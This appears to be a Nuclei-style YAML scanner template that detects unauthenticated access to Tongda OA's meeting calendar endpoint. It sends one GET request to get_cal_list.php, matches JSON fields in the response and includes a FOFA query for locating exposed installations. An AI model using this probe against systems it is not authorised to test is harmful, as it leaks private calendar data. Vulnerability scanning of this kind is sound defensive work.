32 lines
1.2 KiB
YAML
Executable File
32 lines
1.2 KiB
YAML
Executable File
id: tongda-meeting-unauth
|
|
|
|
info:
|
|
name: Tongda OA Meeting - Unauthorized Access
|
|
author: SleepingBag945
|
|
severity: medium
|
|
description: |
|
|
Tongda Meeting Unauthorized Access were Detected.
|
|
reference:
|
|
- https://github.com/hktalent/scan4all/blob/2a7faf7862265eab33699034fd193bcf11b44e0f/config/poc/%E9%80%9A%E8%BE%BEoa/%E9%80%9A%E8%BE%BEoa-meeting-unauthorized-access.json#L10
|
|
classification:
|
|
cpe: cpe:2.3:a:tongda2000:office_anywhere:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: tongda2000
|
|
product: office_anywhere
|
|
fofa-query: app="TDXK-通达OA"
|
|
tags: tongda,unauth,misconfig
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/general/calendar/arrange/get_cal_list.php?starttime=1548058874&endtime=33165447106&view=agendaDay"
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- status_code == 200 && contains(header, 'application/json')
|
|
- contains_all(body, 'creator\":', 'originalTitle\":', 'view\":', 'type\":')
|
|
condition: and
|
|
# digest: 4a0a00473045022100f75c4519458126a059beea57848ab33ba1ccebec41303605cb575b3f7adb649102205d998a85629f2c915074754a15b0bdbff134d6a42cc09d81da9bc9b91f9d5eca:922c64590222798bb761d5b6d8e72950 |